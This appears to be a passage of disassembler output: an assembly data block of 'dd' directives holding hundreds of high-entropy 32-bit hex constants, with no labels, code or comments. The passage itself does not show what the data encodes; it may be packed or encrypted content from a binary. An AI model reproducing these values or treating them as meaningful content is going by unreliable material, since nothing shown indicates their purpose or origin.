		dd 0B0B80C64h, 35A5687Ch, 5AB4BCD0h, 7F1EFF13h,	49D0CF0Bh
		dd 77AFD3BEh, 0EB09B077h, 63DC97FCh, 102A69CFh,	3F291AD1h
		dd 20901E6Bh, 0E6513E8Bh, 7695926h, 0D6F7F187h,	0CE4D4E31h
		dd 0B3A6C08h, 7D5EDC2Fh, 0BF007189h, 677C4D8Ah,	2FCF709Fh
		dd 8968F068h, 50814EDEh, 0FAE39521h, 0EA0102ADh, 0CA49AC79h
		dd 0ED154091h, 6E212632h
		dd 0EFC01D79h, 6D683AA1h, 0F65F8940h, 0F7C59867h, 0A901BDD0h
		dd 0D6A97889h, 598201DCh, 0F5971C5Dh, 0E8318402h, 5E4C47Dh
		dd 52778EB9h, 6F25C051h, 80E37D75h, 20570E8h, 9755683Ch
		dd 0E41E4BF3h, 0A8A06F93h, 382CC75Eh, 96E5B779h, 0FE5862CFh
		dd 9CCE0270h, 400EE207h, 2FD02527h, 82DEA101h, 0AD65FFC9h
		dd 0D5FB8F67h, 0C8AD5865h, 0B5300A42h, 57546130h, 6AED7AE1h
		dd 53658096h, 6B096855h, 0E071F719h, 0B77C984h,	0EB892A10h
		dd 0F570EB54h, 58F4271Fh, 5A0A2C0Bh, 25A41947h,	1454895Dh
		dd 67B1F905h, 69D6FAA6h, 715B0F50h, 18E3BDC5h, 68C00A3Ah
		dd 47B8254Bh, 7DE20ADEh, 3A858BFCh, 3F3DF0FBh, 1177DBCEh
		dd 98210B2h, 480CE45Dh,	173D5E99h, 1A7DC400h, 26526815h
		dd 0A13349C4h, 9D643F9h, 5B4AC6D7h, 5F0868D5h, 0E5C27929h
		dd 4117E56Ah, 81AF9571h, 73D9CF2Bh, 9030258Ah, 0AC6D16B5h
		dd 832BB963h, 0DC2128B9h, 483A83C0h, 0A1455A40h, 30EBE481h
		dd 674E9F90h, 0E48EB2B1h, 0CA36FF9Ch, 30277E65h, 702BD65Dh
		dd 0F106F766h, 0B1B6853h, 0FBCF4BE7h, 0B4829F27h, 0C54169E3h
		dd 2225C688h, 807AB227h, 4129614Dh, 0A30CC07Fh,	152AE46h
		dd 8B0F368h, 17386806h,	73D1376Bh, 0DF50B70Ah, 9041D905h
		dd 2C1A0104h, 49C5515Fh, 7698E3BBh, 392E5909h, 0F8B2E317h
		dd 79735AC9h, 2A4979C5h, 585F60Bh, 2018FEF2h, 50BE0902h
		dd 0D6A7417Bh, 0C5678B2Eh, 9DF8CEFFh, 520E089Eh, 692039BAh
		dd 4D115F0Ah, 0BDFDCF01h, 16E2856Dh, 431634B3h,	662988B2h
		dd 87E8DD92h, 0D5C5EA50h, 3F5206A1h, 0E98F3DE2h, 5A17BCD6h
		dd 0A8C2D8D4h, 0E28BA75Fh, 35E53601h, 2841ED2Eh, 7672D80Ah
		dd 0F339C732h, 4950FADFh, 0BB2F6CDDh, 817B9CDAh, 597B8C16h
		dd 63044413h, 0BE073D83h, 0EE1E54E3h, 53A48200h, 4C0121FDh
		dd 8453CF2h, 3001B831h,	2864CA9Dh, 0F329078Bh, 0C5EA316Eh
		dd 0ACFB4573h, 0DEE0A253h, 0EAAD4819h, 4C35F730h, 0E15A963Dh
		dd 2C2C9CE0h, 0A03E1909h, 0FD685745h, 3719B53Fh, 0D3685Ch
		dd 0FA3003B7h, 78505B66h, 0E963FCB4h, 6121239h,	0A568AC52h
		dd 0C529F098h, 41D09E28h, 9C589096h, 44CB201Dh,	69CF0518h
		dd 3E16C7A6h, 0E703491Ah, 37991543h, 7E80C0Fh, 0F4AD1724h
		dd 52DC9201h, 7978E946h, 9BBC4A43h, 58B8CC10h, 0CE723FAFh
		dd 80E44D27h, 0B84BF9E8h, 282897CCh, 0C8E913F2h, 0A29DE83Ch
		dd 7671555Fh, 2E7AB981h, 7F701427h, 29BA95E0h, 0BEA43998h
		dd 0F2FB5282h, 0D19240DFh, 0BAD745A3h, 0B22D81E9h, 0E8F038F6h
		dd 688050F7h, 34224BC2h, 5E998164h, 28A42023h, 6D344004h
		dd 480D529h, 3B7DE3F5h,	0E50201E9h, 236247A1h, 0FDE46A60h
		dd 70DCBF27h, 0A1336428h, 1D32BC68h, 60CBD5F6h,	9AC61B5Fh
		dd 85AEA9EEh, 96BEEF62h, 7AB70C12h, 1A40B51Eh, 0FC9596D5h
		dd 0FFFEC4F1h, 8D884E91h, 69871D05h, 31E44896h,	7072B617h
		dd 9B5FF4BBh, 79EB3D25h, 0B4AC2CCAh, 2A6804A4h,	0B680394h
		dd 0F274E954h, 0ABE6F7A5h, 20D6E801h, 0D02A5D6Dh, 0C982D1CDh
		dd 0F14801E4h, 122A86C5h, 52C11F71h, 0EA80C1B2h, 83C2FE8Dh
		dd 0F0E96B0Ah, 0CF9F02DCh, 4F85037h, 72C6D187h,	31612802h
		dd 309931D2h, 0B109EAFEh, 944BB6Ah, 296AE0B6h, 82AEB42Ch
		dd 765D143Ah, 0E6A016E5h, 7E7F8802h, 0BAE9013Bh, 0C19EF711h
		dd 0A02614B5h, 1574ED4h, 0BE356198h, 991E5508h,	5F92D2F0h
		dd 7C04A967h, 0F02FA247h, 671F5C3Ch, 4BE630B8h,	2C356B08h
		dd 0B1C316BAh, 0BE89EE45h, 0EB4EF9F1h, 1FCC60Fh, 26E70EA8h
		dd 96BFEDE9h, 89AF5C7Ah, 0B6A92A66h, 8C5F84h, 5A7FC580h
		dd 6C6C9530h, 0DC95C3F0h, 33466618h, 351A4097h,	0EC8E13A1h
		dd 1380ABFCh, 94F3EC1h,	0D90163E7h, 2E08E488h, 8A4E8902h
		dd 68099BF9h, 0A6CB2F62h, 5B5CCCCBh, 50A35ABDh,	8A5D105Fh
		dd 4FEA96DBh, 0FEA2B204h, 24307EF5h, 0FCB9805Bh, 73C6790Ch
		dd 2964241h, 0E94BD131h, 2901B228h, 0D02E87DEh,	0CB81056Ah
		dd 304E1B09h, 3C19845Ah, 0C4D18904h, 9DC84729h,	8BC6E3C3h
		dd 2ABB4200h, 893F4816h, 4AB6F8D8h, 1C39529h, 52758287h
		dd 0E7B82A16h, 0AA57E9E0h, 28A0DB97h, 8FB0323h,	54E938C7h
		dd 70D3EF50h, 550B1F25h, 0EFEC4824h, 0DF2EE4C9h, 0C12477DDh
		dd 0E9C16602h, 2A815103h, 0F28F5535h, 3C5EE9E1h, 52B600B3h
		dd 82AEE80h, 0AB5A4EF3h, 4AE9B178h, 0BF47094Dh,	520390FDh
		dd 3FFC97B6h, 0C2F80DCDh, 8178BEE0h, 31F876EDh,	0E6EEC9A1h
		dd 694A90E3h, 46DADB01h, 0DD7050DBh, 0C10DD2D6h, 0ADB26Ch
		dd 9092ED80h, 90C72592h, 0B230A4D9h, 2DCD6854h,	81F02979h
		dd 0C060883h, 573D5FFEh, 0A6C1273Ah, 68D55E12h,	2D9E9609h
		dd 0F00BE8h, 0B4C3E913h, 184C0EDh, 0CC62BF6Ch, 25FFCC19h
		dd 0A7E40CF7h, 6AB61C12h, 68ACA4ABh, 0CCB971E2h, 0A9E95084h
		dd 91D591A1h, 2E4EA17Fh, 0A9C4B9E2h, 378FBB31h,	90E66D12h
		dd 746CD53Bh, 0FEA57150h, 10776Bh, 0D3437018h, 58C3B84Ch
		dd 51003E5Bh, 6348EB9h,	0A0A22920h, 0F15217F6h,	29E98DBCh
		dd 0E7206AFDh, 0C42F7A68h, 0FEA56A87h, 6600E88Eh, 0AEB75351h
		dd 801CD7F6h, 0EFC106E7h, 3F82E9C0h, 55B0CC6Eh,	0C3BA2BF4h
		dd 28AF894Ah, 0E52DC114h, 0CC7CD807h, 38CA080Ch, 5C2A7E14h
		dd 60AB40E5h, 618C885Ah, 8BB54A7Bh, 8D2D5A00h, 0D115C07Ah
		dd 0F5BFC67h, 0C4BBA285h, 0E9E1C0F3h, 0F85125A2h, 1380BFACh
		dd 0E28762F3h, 8CE05AE5h, 0D4D6B528h, 80DA50BBh, 20038CA1h
		dd 62E1B394h, 668A26BEh, 33D0CD89h, 82B5C936h, 0E4BFA616h
		dd 4BF2FA2Dh, 1F9E92A5h, 0C37DCCCAh, 896EF150h,	0A63F7935h
		dd 9C0950EDh, 3A130110h, 1ADB127Bh, 0BD9513EDh,	0BFE9631h
		dd 7060901Dh, 0F5EF535Dh, 595696EBh, 0B7429ECCh, 0F7468C7Eh
		dd 0E5A7B76Eh, 1D284894h, 0DB9C834h, 3E2DD0BEh,	1B7E362Fh
		dd 80CB9F20h, 9EB72CFDh, 27A1C217h, 13A45B32h, 7B3BE15Dh
		dd 0AB5BAA8Bh, 87598161h, 9E15B551h, 5DE81780h,	1E67BE05h
		dd 0F62D7A25h, 0CA6ACDEh, 0E33FB4B6h, 4C325878h, 0FD2D6CBDh
		dd 2F5A4C69h, 550156CBh, 0CE53B468h, 8E6F3007h,	95B2604Ah
		dd 0D3DF2778h, 4172AB7Eh, 307E550Fh, 5921E409h,	34E97B0Bh
		dd 0E1E2A1Bh, 0E6C78589h, 0E2DE95C5h, 80C55D58h, 7EEE4941h
		dd 7FE18F70h, 244CD3DFh, 0E9C90981h, 13082CEAh,	0D0ECAAB5h
		dd 0FBD8301Bh, 0BE5E79FAh, 89FF5A17h, 0E1EFD9A5h, 68088BFDh
		dd 9FE450B0h, 0D6A02D16h, 139D32A1h, 1E6FC147h,	0E8ECC2Fh
		dd 0C95411CFh, 7CB0AB84h, 4A48EB63h, 0D6B5B234h, 0D2E9F820h
		dd 46289B67h, 8DC4FF1Bh, 17EE833Bh, 68B161E9h, 5007DB6Ah
		dd 0C5BC3EB6h, 8846D883h, 0B348D965h, 8696AC6Fh, 0A46DC057h
		dd 305E7B92h, 0EA3DBADBh, 0B7092EA5h, 7F02033Fh, 677F350Bh
		dd 4C53A501h, 16392B0Eh, 38429DEFh, 76E9CB21h, 0AF2BA54Ch
		dd 0D9719FEh, 0EECA6E53h, 36CE57Ch, 0C113F8B4h,	335AD329h
		dd 80B6E789h, 4C65887Ch, 0AA27C4FFh, 1E10C6F6h,	4A654C87h
		dd 0C506CBBFh, 1DA98C66h, 4B7C5D10h, 0F5A045FBh, 0A9282EFh
		dd 774A6802h, 0B0639148h, 18F557C3h, 896198AAh,	0B4FBFAEBh
		dd 0E97E24CDh, 99654D6h, 48B24F0Bh, 736C3B0h, 11BA04Dh
		dd 8548EEBh, 1EBF5700h,	0E903AE7Bh, 275176B7h, 455DFD62h
		dd 0AAB4920Bh, 3D2F61A1h
		dd 267B513Bh, 7B2D0070h, 0CDD33DF3h, 5A56F810h,	8FFCF117h
		dd 0E5F08914h, 22598325h, 0BDC0D097h, 762C1B8h,	0DA3507D4h
		dd 0E0178533h, 22065247h, 81490D19h, 7529EC30h,	9795FE27h
		dd 3944FD5Eh, 7CF43197h, 0A12FDC8Dh, 5C9B501Fh,	2AF1215Fh
		dd 0FFB40EECh, 9ACD94A0h, 0C6092EA0h, 75E95812h, 246CD49h
		dd 68BADCEDh, 8C25594h,	0B86FE875h, 0FD6AB5A7h,	0D4A50CC5h
		dd 33FCE237h, 0BF82A72Ah, 0F5D97064h, 0F1354840h, 0DF22563Fh
		dd 7CD51F4h, 116CB5Bh, 5FBED0F9h, 1248240Fh, 4C6E0548h
		dd 32B804A7h, 0B1495F7Dh, 80F32BCBh, 82051264h,	0C35CA770h
		dd 0B0E5F381h, 0E72051F8h, 75ADB0F7h, 0E6CB4E5Fh, 849A4CC7h
		dd 81123A6Ah, 2F5452C1h, 2784FAF9h, 8F2D00B5h, 9762E34Bh
		dd 0C270358h, 7224F625h, 3A0AD04h, 0FBC1EAD1h, 0D0200405h
		dd 95A8DACEh, 0BB6900E3h, 6858F806h, 0DF251729h, 1D7BBA81h
		dd 0BC3F733Eh, 342B01E7h, 3DE9C5AEh, 4E7D5A28h,	413E6D9h
		dd 19577859h, 7398BD80h, 8211482Dh, 214035Bh, 31F1CDB9h
		dd 7FCAC5E9h, 94F34ED0h, 82C82578h, 2C3088D6h, 48A32A8Dh
		dd 15040D75h, 0C564B134h, 9190EEB9h, 968D62E9h,	0A68418Fh
		dd 0ACFD9736h, 47A2B590h, 20249097h, 0EEBFB960h, 0D5DE2577h
		dd 0D40BDEF2h, 0FD6F4F79h, 0A27FFB82h, 0E1E8B974h, 1ABE9E1h
		dd 4405893Fh, 0AF3094E0h, 9E106CE6h, 0FBB90484h, 6882A3CBh
		dd 2FFF6CAh, 3E880E68h,	0A949487Dh, 4A5C3B7Dh, 58E8CF00h
		dd 5AE97086h, 0B7019A94h, 289204D7h, 49BD0120h,	85010D9Fh
		dd 1F5BCCBh, 45FAF3C7h,	0F5704C5Ch, 0D51CB741h,	0BDB999B7h
		dd 201D9A4h, 0DD1E9EAh,	208297Fh, 0D5F08403h, 589789C6h
		dd 2D567D0Dh, 1DC86197h, 4C1748A6h, 0AAC829DAh,	0B3BE5F38h
		dd 49544C96h, 8BBB4ADCh, 9D012AAAh, 39BB5300h, 8129C308h
		dd 234409CBh, 62076078h, 80822720h, 5E9DA09h, 894ADB59h
		dd 0E3AAAF58h, 0CB591C4Fh, 6CA4F4D7h, 25E004C5h, 0EF292D7Eh
		dd 61082410h, 3114E9A3h, 0EC134362h, 50E46194h,	3E9E2054h
		dd 2E0DB9Fh, 3C3A2388h,	8E031061h, 175B4E3Ah, 3FB79DBBh
		dd 0E36BD7A1h, 47F4859Ch, 1EEDF490h, 57F006Bh, 3828792Ch
		dd 0F5043548h, 21A7A094h, 0F6F680FBh, 2D053261h, 3B4DE92Fh
		dd 683A20AFh, 56B64907h, 0B9E9E660h, 1314D63Ch,	739DFBEEh
		dd 272D4490h, 0B9927D5Ch, 691E76C1h, 0DDF6C053h, 97693668h
		dd 0B10B48E6h, 6C9FE7Ch, 750604ACh, 979A4D06h, 3BBD5900h
		dd 192E196h, 0E9ADC562h, 27DB5C8Ch, 0A1F283FEh,	60EB8058h
		dd 50D20680h, 2E0406B0h, 0C0C8FE07h, 387708E8h,	0A2E9C300h
		dd 0B36EE197h, 1FCC4083h, 51E597EFh, 3AB0D452h,	1ED09D02h
		dd 0FAD6362Fh, 0B100865h, 0E054797h, 81819426h,	0AF93E525h
		dd 5887E9C2h, 93F54EF0h, 0A1B2E82Bh, 9AF64568h,	63E6FF95h
		dd 802F5DA4h, 0F6C32ACAh, 0B55E8210h, 0CCA47E1Dh, 0A5DEA559h
		dd 6B60D792h, 69097693h, 0E04FE910h, 55C56881h,	4058400Ch
		dd 627505B9h, 0AA410747h, 404AD045h, 0F602AAE3h, 556EB23Fh
		dd 5D12D45Ch, 69519AAh,	9CFF3002h, 96BB0428h, 5413C500h
		dd 1CE90C67h, 1A399F25h, 68F18458h, 529D2BB0h, 1DD3FB40h
		dd 5004400Bh, 1C555B1Dh, 3FFC38Dh, 245E3F0h, 0E92CE679h
		dd 0D174C949h, 0B46963h, 255DE811h, 480F24DAh, 0D4200551h
		dd 9509535Eh, 7EC70917h, 251004FBh, 0EF2FC012h,	0C227693Bh
		dd 0BB74A77h, 9C681608h, 0B54024Ah, 0E87D0939h,	30217806h
		dd 140C1B12h, 3F5B1855h, 0EB1F1BBDh, 6CB74941h,	238C3000h
		dd 609D2A59h, 0BE6DE9B6h, 817E8905h, 0BDFE66FDh, 0E987EA95h
		dd 0D50B99DFh, 42680030h, 608D7B4Eh, 0C30123C2h, 0A4E91390h
		dd 21FCDF5Eh, 0F44105A0h, 5EE664Ch, 0BC8845B2h,	5FE4E6BFh
		dd 10B20BEh, 0BA4A52C8h, 5958D3F9h, 0C84E8227h,	14F7882Dh
		dd 81F65043h, 0E91607Bh, 8058E328h, 73A6C338h, 84EBF890h
		dd 0BAE96710h, 3E2D5BF4h, 70A524FBh, 0E3EA48F2h, 0F012449Dh
		dd 805259B4h, 0AEC8BF7Eh, 7CFAA8B6h, 4BA44E52h,	625ED6B4h
		dd 95BA1045h, 4057BBC2h, 9D936F16h, 0CC9498E9h,	40B5383Dh
		dd 560968E1h, 4A0FAE29h, 0F694E271h, 0F9669B00h, 0CD15E91Ah
		dd 0D8915F95h, 9657E855h, 0D12DD6A5h, 0EB6841E6h, 10D3366Bh
		dd 4A3B43E7h, 0E25B2C13h, 452D7E8Dh, 2ADF4648h,	984F227Eh
		dd 0B24920E5h, 5A6D5F60h, 0B72EA968h, 0A62C8CE6h, 3ECA7B26h
		dd 55ED6889h, 0FF60739Ah, 21807A87h, 0D43FEED5h, 0F30719E7h
		dd 63563DF8h, 62DDE89h,	329455F0h, 0D873F7FAh, 0C5133518h
		dd 7C6AEB3Ah, 0DC4F9046h, 8A8CE010h, 0E5CB16C0h, 4E03E95Bh
		dd 0DDAAE490h, 1E309441h, 5A53F85Dh, 2568E836h,	144C8B34h
		dd 807FFCD4h, 68169158h, 11EC1CC1h, 0D377E9C4h,	0C0B15EDBh
		dd 0EA5F9380h, 14E52AAh, 9B30D9CCh, 4418AD5Ah, 10AC27E0h
		dd 4EE2F456h, 0D82D000Eh, 0FA015AE2h, 4FF3C681h, 327D4DC7h
		dd 0BD580840h, 0DDEB0071h, 0D47E9CEAh, 84C01816h, 0EE50E5B9h
		dd 0F1810236h, 35F85D84h, 63284576h, 2F606D7Ah,	8534C111h
		dd 0B9CC4E9Bh, 56814B24h, 0C43D7C27h, 3A576810h, 8F097655h
		dd 8022017Ah, 5194F764h, 895B1719h, 0E11F88FDh,	0F381F096h
		dd 0F17EC462h, 55CEA441h, 0E3D90404h, 54A78892h, 2A0018F2h
		dd 5EB0CE81h, 5AE931A7h, 0EBB3C5EDh, 0B6A8EED8h, 3CE90536h
		dd 0C48DB4B0h, 2728CF4Ah, 7EDA8814h, 29A9FF82h,	62B8BC55h
		dd 97FF52C8h, 31925009h, 997761AAh, 82F70296h, 0D956A38Dh
		dd 52588A5Ah, 9162089Ah, 8E1F4D16h, 58870A5h, 9B7083CDh
		dd 3996806Bh, 9059C2AEh, 9D2D0252h, 0C23E7132h,	0D8C4EB7Fh
		dd 4E1376B0h, 41ECBC1Dh, 53A10107h, 0E5CC2AD2h,	45C14A21h
		dd 0A375225Fh, 5DDE10ACh, 0D76C915Ah, 0C585C3C8h, 8428FB41h
		dd 523940DDh, 9EA847ECh, 35040905h, 0C189585Eh,	912CC499h
		dd 10190326h, 25927BAh,	91BB7255h, 1D8170F8h, 2552F281h
		dd 0FB944129h, 0EA372C6h, 963BB72Ch, 5C7D46BEh,	2FED1D97h
		dd 775FAE92h, 1E73C940h, 4F36921Fh, 0B2998C89h,	8C685D54h
		dd 0B9E480Dh, 27E2206Fh, 2C5F3937h, 252DFF7h, 764E64B3h
		dd 5E74DB40h, 7C4AE625h, 0AA603A4Bh, 1B6B249Ah,	2A97E91Ch
		dd 0D9DD72Dh, 0A50DE909h, 9BEF53DAh, 4E2F5815h,	176046E5h
		dd 4A1A05DDh, 9CF72922h, 0B35B1EB4h, 5BA8964h, 0BEC083E5h
		dd 9F539868h, 23AD1AE5h, 21B6F0Ch, 2942C687h, 34D00672h
		dd 18028A20h, 83542768h, 2D804C77h, 866B1690h, 538AA21h
		dd 6EBA881Ah, 34791E14h, 78062CABh, 59282510h, 26660282h
		dd 0F1310BD4h, 4D0BA41h, 241E80FEh, 0FCBF2C3Ah,	3694A761h
		dd 3F7A3697h, 8ECA85E9h, 0D6292D53h, 38BC89Bh, 77181105h
		dd 94E8C395h, 0E90FA3B0h, 46B17130h, 0B3220768h, 13560AABh
		dd 15C24EEFh, 49C01A62h, 0DB2D6386h, 0E406D266h, 99D69FC5h
		dd 27CBC488h, 0E851AF49h, 0C89FB8F9h, 0BD7D2693h, 18A23F6h
		dd 7A2F87EEh, 5D10CE32h, 6FF2E923h, 9BA2EB85h, 2084B49Fh
		dd 443332EAh, 75F91E7Bh, 45133AC3h, 30C3950Fh, 0BF2F7862h
		dd 59E82801h, 999265C6h, 7B43ACB1h, 9BFBDA84h, 0E3A95B77h
		dd 0EF36E08Eh, 82831098h, 510E8340h, 0BBEECB28h, 5904727Eh
		dd 9A6EE93Ch, 4FC8EF12h, 69DA1405h, 2E12AA56h, 8729D235h
		dd 27E2ECDFh, 6EF6A1F8h
		dd 0F146DE6Dh, 81094ADEh, 0A76334DEh, 9CB4FE40h, 43EBCB94h
		dd 0E2D0A089h, 71C2AE7h, 0B652803Fh, 21F6800Eh,	7E630C0h
		dd 94E99D0Ch, 97607C4Ch, 0A64995BDh, 5F8BB492h,	64892A5Bh
		dd 164D6120h, 0FEADBD6Eh, 4B267196h, 0DE85B99Fh, 97609EDDh
		dd 71D71C42h, 0B9D449BFh, 0B4A1902Dh, 9464BD9Dh, 2EFBDBA1h
		dd 0FE09CD97h, 0C2310984h, 0C1D7E685h, 2C290CFEh, 0F47C2F5h
		dd 0B990E015h, 90D226FFh, 259E22D9h, 6CFC43ACh,	5DD83C73h
		dd 4E029790h, 1310A4C1h, 30E97EECh, 31286544h, 5CD75BDDh
		dd 0D14A62F9h, 3479AAC3h, 3278FFE6h, 5D7AFD25h,	3C215647h
		dd 7DBD6812h, 12678A97h, 5D49B8E9h, 2A89DF5Eh, 52B00C16h
		dd 64BAC725h, 58F3A224h, 3C8F48F4h, 0C948B529h,	0C6E92A01h
		dd 1FC65B1h, 20E02D86h,	0FD7E31BAh, 0BB7C2937h,	0AC41EF60h
		dd 0C50CC034h, 294C6E42h, 44E5C17Eh, 30D70008h,	92223F72h
		dd 544B5A90h, 49B51577h, 0E4EE4DD4h, 1F5AD0F9h,	0A3AC8531h
		dd 71F6902Bh, 38022143h, 0AF68C329h, 6036F264h,	8AC59D74h
		dd 617B5071h, 0B1AC4C2Fh, 0A22E14F4h, 6BF37B82h, 0EC40CF8Bh
		dd 7D191E30h, 3A76E7Bh,	6C6AE948h, 16C3633Eh, 0AB04FC44h
		dd 0B4F4E445h, 0C92D1EBCh, 84A9CA6Dh, 15092ECh,	0C119274h
		dd 52D26F4Dh, 7871E2DBh, 0BA53BF17h, 0B874AC69h, 981A48Ch
		dd 6130999Eh, 0D5082656h, 685F024Ah, 0A9667625h, 6D5EF49Fh
		dd 62FB0B0Fh, 5EE8011Fh, 0AE0858D7h, 7CC399CCh,	0E013180h
		dd 2BE74FE2h, 71325E29h, 0FF6855C0h, 7C059B40h,	5E5C15Dh
		dd 3706D203h, 1BE9B894h, 8B6BE10Eh, 4DF449C6h, 0C482C60Dh
		dd 90436078h, 91C1B879h, 86BC895Eh, 0B64D80E5h,	40604B6Bh
		dd 1108450Ch, 84015A1Eh, 0C081A33h, 9175140Bh, 246C253Fh
		dd 687FBE02h, 60634F81h, 8BA7188h, 0B342E912h, 2F2E6BEh
		dd 3779B8EAh, 4628F73Fh, 10A72C08h, 0A0EC5EBCh,	235298A2h
		dd 65ABC702h, 6231FD64h, 21467540h, 0ADB8A80h, 0E936AC0Bh
		dd 0FD66C24Dh, 0E912EA36h, 8161C868h, 4C65DDD9h, 1C0B7698h
		dd 37DE545Ch, 9A2DCF89h, 5E84C1E1h, 0FE201086h,	5D30365Bh
		dd 4AEB9103h, 738F2546h, 80195EAh, 325B2388h, 9CCAD250h
		dd 786CE90Dh, 3AF77F92h, 0E8E2054Fh, 11B326h, 31FE2E21h
		dd 9D4EDEF7h, 0B0D0E19Ah, 0A232F298h, 54D73550h, 89DB2764h
		dd 0E6605609h, 0B5332046h, 0DAF7661Ch, 981EDCE8h, 0BD46557Bh
		dd 1F1420D5h, 0ED0E54F5h, 902CE65Ch, 3405323Ah,	0AFF8DFD2h
		dd 60FBC2FAh, 2825E94Eh, 7869DC15h, 27978D55h, 6D044467h
		dd 0AE2127C1h, 581DF32Ah, 22D29FD5h, 0EBC49AF8h, 84DFA3C9h
		dd 3085DE29h, 2CE5EAAh,	0BD80E9FEh, 1FA0103h, 0A66F83DCh
		dd 0FC0A8B7Ah, 0DE9FA503h, 0B8977B08h, 0DC1E8B24h, 54352A8Bh
		dd 0E11230ECh, 1F205B4Fh, 3C80A031h, 0C1BF734Ch, 0D1109586h
		dd 1D5CDA0Dh, 0BD5B5F50h, 0FE2572FCh, 20630F2h,	0F5FE368h
		dd 87933A24h, 5F092E4Fh, 804B3086h, 6EB8ECCCh, 0FC584040h
		dd 0A3AE5A2Ch, 8E0A1AE7h, 0B4305510h, 0D17F2159h, 0F300A84Ah
		dd 433225B8h, 0D8F7051Bh, 81E8C148h, 741A5497h,	0F209875Dh
		dd 0DD2EEB68h, 0DA6BFEB1h, 88200660h, 177F3181h, 8BDEBECBh
		dd 0B792D054h, 8096EE3h, 7870E9DAh, 0D3CCB772h,	0FE09ED25h
		dd 5AD35015h, 19E968A0h, 81008594h, 115D0CE5h, 0DFFEBD75h
		dd 14C0D60h, 4473BF74h,	0FF6EE98Ah, 0D49E5DA5h,	65B1DCB5h
		dd 0FFF2AF76h, 2DC7680Bh, 5B78EC5Ch, 0B2AB25E9h, 58584F52h
		dd 79BF0778h, 6FE3441Bh, 5D1C3BC7h, 0BAE6B712h,	84EAFA74h
		dd 67F3AF03h, 38885037h, 342682A1h, 51B35513h, 4C1DC615h
		dd 80F8E90Bh, 0A182AED6h, 41D75322h, 0FD049A70h, 3FA6924Ch
		dd 11FD3425h, 86482958h, 6CE68A0Eh, 0F9BA7998h,	4620B48Eh
		dd 375476C0h, 0C42F052Dh, 5D9AC91h, 4D1E22BEh, 5FC6D800h
		dd 0C1110E07h, 57362A8Ah, 28A93878h, 0E92508EFh, 9DF65006h
		dd 68C1385Ch, 8B2A1599h, 28C54FA9h, 0E2E5A047h,	283CC530h
		dd 9FEAFAEEh, 13316102h, 0D588DD8Eh, 9092531Fh,	4F889FA0h
		dd 361097FDh, 50420E1h,	34AF7E58h, 17F9D87h, 618246Eh
		dd 1213E0F4h, 0BB01F716h, 0AAD117E2h, 2ABC680Eh, 30CDEB16h
		dd 317F4C32h, 30BF19B2h, 0D17C64D0h, 4C015A11h,	1F005389h
		dd 352106EFh, 0A6EBF5A1h, 5D10E80Dh, 5A11A44Bh,	0F788531Fh
		dd 0B5D048h, 20EBE681h,	24B049A3h, 2799A1E6h, 68536681h
		dd 8B8832EAh, 7425A3D6h, 0D7E99Dh, 1C1BE745h, 0EE77B84Eh
		dd 3E830415h, 959497E9h, 66F59986h, 5AE85F7Eh, 2DB8DF1Ch
		dd 0E953287Eh, 0A894DC8h, 0A1905E53h, 0E12568DEh, 56621066h
		dd 2D5E7B58h, 2E462D3Bh, 80D3A734h, 9902A909h, 896B51B3h
		dd 89C47B52h, 80C2C7E3h, 4E5687C3h, 6897201Ah, 73BE606h
		dd 0F7490A0Fh, 0FCD924D1h, 0E79CA51Ch, 6D8D4D92h, 0B4505300h
		dd 58E788A2h, 1029B630h, 0A877E960h, 4F82885h, 2C5BEC04h
		dd 0B0DCE83Fh, 4FB0685Ah, 0BA723115h, 0C96B6992h, 2F1F5ED2h
		dd 0D42F1CEFh, 0CB81780Ch, 0EE3240E0h, 0A3013014h, 0C783411Eh
		dd 236AF43Bh, 0AAE909A1h, 5540C462h, 3897127Fh,	806C6F6Bh
		dd 0B30A5359h, 0B6C3FE8Ah, 3205C0Bh, 76528D0Eh,	0DEFD7069h
		dd 60DCCA8h, 703BE16h, 21353E5Eh, 5893E2F0h, 66641688h
		dd 62AB048Bh, 788C1F7Ch, 3C588AC8h, 0FA26D2F6h,	0AC01928Ch
		dd 0B7F44F4Fh, 48D19555h, 2E2200Bh, 9531B0h, 5AD5015Fh
		dd 1D2D214Bh, 0CD0B0320h, 6A5BD6F4h, 5D3ACE2h, 0BB5605F8h
		dd 0B850C220h, 0FA2C16EBh, 272BF9F0h, 0CBA9516Eh, 623E20DDh
		dd 0C22E7659h, 0F864B53Ch, 0CD7EF640h, 5AD77BC7h, 8FB8C985h
		dd 9328C176h, 7031C778h, 4F130252h, 5DEB34BAh, 6C675F11h
		dd 75880B0Dh, 13507754h, 718081BBh, 0AFD103C4h,	7EC7CB83h
		dd 0B07D59A9h, 10F4B45Fh, 74B3BDE9h, 4777880Bh,	2ACC114h
		dd 893F028h, 263DE710h,	12457760h, 0C14F6FB0h, 2F0CEFA0h
		dd 20FE2A64h, 0B46834F2h, 0B2B57465h, 0DBEEE6D4h, 3BE91578h
		dd 0F22D2DF9h, 0E5055BF5h, 0AB3274FFh, 0D8306441h, 6E6F1478h
		dd 137F98A5h, 0C507B84Bh, 0E91A4A90h, 0E15E160Bh, 0D42A80D0h
		dd 817DD21Dh, 755C0BF7h, 0C5F61E01h, 6B901E30h,	2DF19073h
		dd 1FA2EAB3h, 0F375E824h, 1C5D25ACh, 6B269987h,	0DBE52B5Dh
		dd 760C02FEh, 457E0AF7h, 42A66805h, 48C48CBCh, 7B07B355h
		dd 0D0FBC04Ch, 0D568823Ch, 0F69AFF3Fh, 458F0D09h, 8A570BD3h
		dd 33C00990h, 89FE7005h, 93075EF5h, 6D946416h, 2E6E1FBh
		dd 0A5745D08h, 0BFBEB770h, 5602B564h, 4579D668h, 7BAE4146h
		dd 9840CC2Ah, 847532FBh, 0AC881AFCh, 0B1360094h, 2B840562h
		dd 0C8BAB3CBh, 0EB81C980h, 2C11184Ch, 73E6616h,	41B52FC5h
		dd 0C1EBAFFh, 0BA61C08h, 5D6FE73Ah, 0BE4CA852h,	86F2804Eh
		dd 0EC203613h, 2DD20BCAh, 9EC36E25h, 785DC2F8h,	559C176Bh
		dd 16ADF925h, 5052C386h, 0B6EAFEE2h, 2EA7C60h, 0C7F73B5h
		dd 0EF6B98A0h, 721D121Ch, 46585ED2h, 0B543EA3Eh, 7051CD39h
		dd 56BA6560h, 27176804h, 47E20CE3h, 20E4578Fh, 5F2A313h
		dd 18743369h, 0CF8BD2BAh, 4E7CEB03h, 2A40F14Fh,	0EDA48CF9h
		dd 1E3A13B3h, 0FC8C3DBBh, 7795B994h, 0CB55D892h, 58E39FACh
		dd 5F3A074Bh, 81685152h, 3A216C39h, 3C4ACA2h, 5F5B09EEh
